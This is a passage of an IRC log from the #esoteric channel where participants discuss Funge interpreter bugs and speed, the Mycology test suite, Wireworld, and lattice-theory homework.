#esoteric :that is a lot more than I expected < 1269532539 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Still 10x too slow ;-P < 1269532546 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh the tree is a search tree, right < 1269532547 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I expected around 10% improvement at *most* < 1269532556 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that makes more sense < 1269532562 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I might have built without any optimizations previously. < 1269532578 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, probably, that is the default. Anyway on normal mycology it seems pretty fast to me < 1269532591 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Mycology is a very fast program to run. < 1269532596 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, apparently Brodal queues have the same (non-amortized) performance as the amortized performance of Fibonnacci heaps < 1269532598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course cfunge is a lot faster at mycology < 1269532617 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes it is nowdays. Before HRTI check was taking quite a lot of time. Did you change anything about how that was done? < 1269532624 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :couldn't you just detect mycology and cat a model output? < 1269532635 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what would the point of that be? < 1269532641 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :How would you detect it? < 1269532654 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, sha256 hash? < 1269532655 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: you need to look at the tree (which is presumably kept balanced and sorted) to know where in the list to add, though < 1269532666 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*you could compare to a stored copy as you read it in < 1269532666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, would be version specific yes < 1269532670 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I don't think I've changed it recently but maybe I misremember < 1269532675 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, not recently < 1269532682 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but maybe the past 1.5 years < 1269532687 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :note that that is a plausible typo, it only takes one keypress or touchpad knock to accidentally repeat a previous line rather than write a new one < 1269532695 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I changed it at some point, but I think that was to make it slower, not faster. < 1269532699 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269532721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, ? < 1269532741 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how would touchpad do that < 1269532743 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you know how readline works, pressing up gives you a previous line? < 1269532747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : up arrow key press yes < 1269532751 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, both the up arrow key press does < 1269532751 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but touchpad? < 1269532754 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and scrolling the mouse wheel < 1269532761 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and you can do a mouse-wheel-scroll by touching the touchpad < 1269532765 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, here scrolling mouse wheel scrolls the terminal < 1269532780 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: same here, but I'm not using a terminal < 1269532789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well what program then? < 1269532813 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also iirc you can turn that scroll thing off for touchpad < 1269532817 0 :nooga!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1269532826 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I know, I turned it on deliberately < 1269532830 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :not having a mouse, it's actually useful < 1269532837 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway, what client < 1269532856 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Konversation, and only if the cursor is over the message-typing box at the time < 1269533008 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why did you ask what client I was using rather than CTCP VERSIONing it? < 1269533008 0 :nooga_!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269533216 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, heh < 1269533275 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster's client doesn't respond to VERSION < 1269533302 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, correct. I have a *!*@* ignore on CTCP and DCC (apart from CTCP ACTION) < 1269533311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :this is due to spam < 1269534322 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269534848 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269534996 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269535411 0 :MigoMipo!~migomipo@84-217-15-239.tn.glocalnet.net JOIN :#esoteric < 1269536711 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 622 seconds < 1269536906 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269536924 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269537466 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1269537770 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269538138 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269540157 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269540959 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1269541535 0 :Tritonio_GR!~Tritonio@150.140.231.97 JOIN :#esoteric < 1269541564 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269542062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, btw what was the cause of that bug in ccbi that you thought was a bug in cfunge and efunge? < 1269542121 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Logic error < 1269542156 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Basically the bounds were right the first time, but not thereafter (if they changed) < 1269542178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269542315 0 :Sgeo!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269542578 0 :Sgeo!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1269542998 0 :Slereah!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269543373 0 :Slereah!~Slereah@ANantes-259-1-28-91.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1269543715 0 :charlesq__!~charlls@201.226.222.130 JOIN :#esoteric < 1269543719 0 :charlesq__!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269543898 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269544324 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Quit: Leaving. < 1269544421 0 :mibygl_!~cc55c4a0@gateway/web/freenode/x-lserhflghhhxyuea JOIN :#esoteric < 1269544435 0 :mibygl_!unknown@unknown.invalid PRIVMSG #esoteric :If you defunge something, it is defunct. If you befunge something, it is befunct. < 1269544437 0 :mibygl_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION bows.
< 1269545032 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269545057 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mibygl_, so you plan to make a language called defunge now? < 1269545076 0 :mibygl_!unknown@unknown.invalid PRIVMSG #esoteric :Probably not. < 1269545140 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION growls at newscientist articles costing money
< 1269545160 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Where else am I likely to find articles related to psychology stuff? < 1269545243 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, why are you so angry over it costing money? < 1269545281 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Because I want free stuff < 1269545293 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :tough luck? < 1269545309 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :At any rate, I don't feel like spending money just to do a simple homework assignment, just because I don't know where else to look < 1269545454 0 :mibygl_!unknown@unknown.invalid PRIVMSG #esoteric :Your library? < 1269545473 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I just want to find something online < 1269545488 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Some nice news article about the physical brain or about conditioning < 1269545532 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://7thspace.com/headlines/339167/effects_of_local_anesthesia_of_the_cerebellum_on_classical_fear_conditioning_in_goldfish.html maybe < 1269545569 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, universities generally have subscriptions for various stuff btw. < 1269545575 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so connecting from there might work < 1269545596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :same goes for some libraries to some stuff, not as common though < 1269545611 0 :mibygl_!unknown@unknown.invalid PRIVMSG #esoteric :My library has online stuff. < 1269545611 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh and yeah, checking the books in the library would probably work < 1269545639 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How about I just use this article I found < 1269545645 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mibygl_, usually just encyclopedias and such accessible from the public computers in the library in my experience < 1269545673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, sure, but that isn't what the discussion is about any more < 1269545674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269545931 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION plays a bit of Robozzle
< 1269546633 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269547002 0 :mibygl_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269549441 0 :Azstal!~asztal@host86-156-103-118.range86-156.btcentralplus.com JOIN :#esoteric < 1269549554 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269549568 0 :Azstal!unknown@unknown.invalid NICK :Asztal < 1269550739 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269550855 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269552941 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1269553035 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Re the wire-crossing problem, specifically the strong version on the wiki page, what effect does the TCness of Rule 110 have on this? < 1269553266 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1269553267 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is the wire crossing problem now again? < 1269553272 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1269553285 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :impatient guy < 1269553371 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hahahaha < 1269553376 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :could have been an accident < 1269553839 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm what about the wire crossing problem in wireworld < 1269553870 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah seems possible < 1269553897 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION remembers learning of wireworld from Mirek's Celebration
< 1269553903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Mirek's Celebration? < 1269553997 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :". It�s a testament to our modesty that it was not until September 2004 that we wrote up our work." < 1269554015 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :CA program < 1269554031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269554086 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION fires up golly to try some out
< 1269554393 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Someone should make a C compiler for the Wireworld computer < 1269554739 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, near impossible considering how little memory it has < 1269554740 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and so on < 1269554754 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the weird architecture < 1269554787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION imagines wireworld but with induction as well
< 1269554850 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :the wireworld computer looks so pretty < 1269554870 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :much nicer than the life turing machine < 1269555062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, true < 1269555269 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Was the strong version the one where memory is considered too (and the weak version was just for control logic)? < 1269555324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, don < 1269555327 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :don't* remember < 1269555840 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269556222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :off topic question < 1269556230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I guess someone in here should know < 1269556232 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :network sound < 1269556235 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how do you do it < 1269556249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, I want to forward sound from one computer to another < 1269556257 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so all sound plays through one computer < 1269556281 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks at fizzie as the most likely person to know
< 1269556292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm he is away < 1269556377 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lattices are too complicated < 1269556406 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i've been doing this one exercise about them for like 6 hours < 1269556409 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269556474 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, heh < 1269556489 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, tell me, what are they. Simplify if needed < 1269556536 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just want a "popular science" kind of view, nothing to detailed. Just enough to know what the heck they are roughly < 1269556542 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :posets where any two elements have a sup and an inf, that is, for all x, y \in L there's a z such that z >= x, z >= y, and for all w >= x, w >= y, w >= z < 1269556546 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269556555 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1269556563 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well then they are these pretty things you can draaw < 1269556566 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*draw < 1269556567 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hahaa < 1269556575 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Mm, CAs. < 1269556580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, are they related to matrices in any ways? < 1269556590 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i doubt it < 1269556597 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :where did you get that idea < 1269556610 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Crissy-crossy things? < 1269556629 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, well the name < 1269556640 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh right < 1269556640 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, anyway, what are their applications? < 1269556654 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well they have all sorts of applications in universal algebra < 1269556680 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :WP gives about five different definitions for mathematical lattices. < 1269556680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, I have no clue what that is XD < 1269556690 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, wonderful < 1269556705 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, any of them halfway understandable to a non-mathematician? < 1269556707 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i know two < 1269556731 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the poset one was probably a bad choice, because AnMaster already knows boolean algebras, i think < 1269556734 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :One of them is set theory, which you don't even do in any standard curriculum I know of until uni. < 1269556740 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lattices are just boolean algebras without complement, 0 and 1 < 1269556743 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, I know a bit about them, No expert < 1269556749 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, wait what < 1269556758 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and they don't have to be distributive < 1269556765 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, boolean without true, false or complement? < 1269556768 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :did you just say that? < 1269556776 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh not two-valued boolean? < 1269556783 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah, lattices are like boolean algebras but more general < 1269556788 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i didn't say 2-elem did i < 1269556794 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Algebrae, surely? < 1269556800 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oh, wait, no. < 1269556803 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Arabic root. < 1269556820 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i've only seen algebras in serious contexts < 1269556846 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :And that is probably the correct form. < 1269556955 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :So, wait, are we talking about the set theory lattices, the vectory ones or the graphy ones? < 1269557234 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the algebra called lattice. < 1269557241 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :are there multiple? < 1269557382 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the "type of partially ordered set" < 1269557482 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm supposed to prove congruence lattices of lattices are distributive < 1269557562 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :which i imagine would follow quite easily if i understood what actually happens when we make a congruence where a = b in a lattice < 1269557870 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: More cfunge bugs! Either o or i, don't know which. http://tar.us.to:12345/mycology.b98 < 1269557896 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Why "mycology"? < 1269557898 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Also, efunge apparently doesn't like q with a negative value; might not be a bug. < 1269557908 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What could it possibly have to do with mushrooms? < 1269557917 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: Funge ~= fungus < 1269557936 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Wasn't my idea, there was a test suite called "Fungus" before this. < 1269557943 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :So I just rolled with it. < 1269558050 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i love it how a question that's taken me ~3 hours is between two questions that follow from the definitions so directly i can't really come up with anything to write down except "A because B, B because A" < 1269558062 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*-it < 1269558095 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or maybe more like "clearly A => B, clearly B => A" < 1269558115 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :What's the difficult one? < 1269558137 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"congruence lattices of lattices are distributive" is the one that's taken me 6 hours < 1269558152 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the 3 hour one is about lattices too, but i'm afraid you might directly see the solution to that < 1269558162 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :which would be embarrassing < 1269558176 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i hope the distributivity one sounds complicated enough that no one looks into it < 1269558182 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269558184 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Distributive over what? < 1269558207 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What does "congruent" mean in this context? < 1269558211 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :a lattice is distributive if a ^ (b v c) = (a ^ b) v (a ^ c), and same for ^ and v reversed < 1269558227 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :(for all elements a, b, c in the lattice) < 1269558280 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :a congruence ~ is an equivalence relation of algebra A s.t. if f is an n-ary operation of A, and a_1 ~ b_1, ..., a_n ~ b_n, then f(a_1, ..., a_n) ~ f(b_1, ..., b_n) < 1269558306 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269558313 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :an equivalence relation on the algebra's elements that's compatible with the algebra's operations < 1269558368 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I had a crazy idea today < 1269558380 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :What if types aren't distinct entities? < 1269558454 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1269558461 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Umm... < 1269558484 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I don't know. < 1269558504 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :They would be indistinct entities? < 1269558526 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :in other words, a value can possess multiple types at once < 1269558526 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the congruence lattice is formed by taking all the congruences of a lattice, and having the lattice operations be (~_1) ^ (~_2) = (~_1) \cap (~_2) and (~_1) v (~_2) = (~) such that { x ~ y | iff there's a sequence of elements a_1, ..., a_n in L such that x ~_1 a_1 ~_2 a_2 ~_1 a_3 ~_2 ... ~_1 y} < 1269558545 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :its actual type would be the union of all its "datapacks", which is what I've named then < 1269558546 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*them < 1269558559 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :where \cap is done on the set representation of the congruences, {(a, b) | a ~ b} < 1269558597 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the actual problem is probably easier than following this explanation < 1269558656 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269558712 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yep. < 1269558728 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Even having proper formatting would do a world of good. < 1269558850 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*all the congruences of an algebra < 1269558853 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :in the general case < 1269558866 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269558878 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :clearly {x ~ y | iff there's a sequence of elements a_1, ..., a_n in L such that x ~_1 a_1 ~_2 a_2 ~_1 a_3 ~_2 ... ~_1 y} is a congruence < 1269558884 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :for any algebra < 1269558968 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :One of my ideas is for language that doesn't have named variables, only indirection operator as interface to memory. < 1269559017 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: Are you trying to get help on your maths (homework|assignment|.*) on an esoteric language board? < 1269559057 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :no not really, just chatting because i'm getting frustrated with the problems < 1269559069 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and i can only chat about the problems because after a day of doing them nothing else seems important < 1269559083 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: So, the Lambda calculus with DeBruin indices. < 1269559105 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :If number type is bignum, then that would be TC given sufficient set of other operations (but it isn't TC with bounded numbers, unless there is another kind of memory). < 1269559109 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's not exactly the kind of problem you can ask help for if people don't know what lattices are < 1269559116 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :because it's a very hard problem even if you do < 1269559213 0 :Tritonio_GR!~Tritonio@150.140.231.97 JOIN :#esoteric < 1269559252 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: but i occasionally do ask for help here because #math is full of maggots and i don't know any alternatives to irc < 1269559302 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :*joins #math* < 1269559306 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269559364 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's a rather hostile place from time to time < 1269559374 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I can imagine. < 1269559416 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :example idea for my language: there would be a Nil datapack with no contents, and a value could be expressed as either Nil or an Int by {Nil~Int} (or, equivalently, {Int~Nil}, ~ being XOR < 1269559417 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :mostly because most people who ask questions there are fucking retarded < 1269559479 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Why not just {Int}? < 1269559482 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but also because the people who answer questions there are fucking retarded < 1269559489 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: Int just means Int, which must have a value < 1269559502 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :{Nil~Int} means "either Nil or Int, but not both" < 1269559522 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ideally, it would have type inference so you'd never have to write that out < 1269559582 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Weakly typed languages can put any value into any variable. How that's different? < 1269559624 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :...okay about the problem that's taken me 3 hours now, i just read the next page of the book and there's a relevant theorem which i'd forgotten about < 1269559631 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :great stuff < 1269559635 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: this is strongly typed < 1269559636 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What stage are you at? < 1269559641 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :oklopol < 1269559641 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"stage"? < 1269559653 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :University, I presume? < 1269559655 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well university obviously < 1269559656 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: And some datapacks would require the presence of others, effectively creating inheritance < 1269559675 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :our high school universal algebra course didn't do lattices. < 1269559725 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: More cfunge bugs! Either o or i, don't know which. http://tar.us.to:12345/mycology.b98 < 1269559726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so < 1269559728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what does it do < 1269559745 0 :Deewiant!unknown@unknown.invalid PRIVMSG 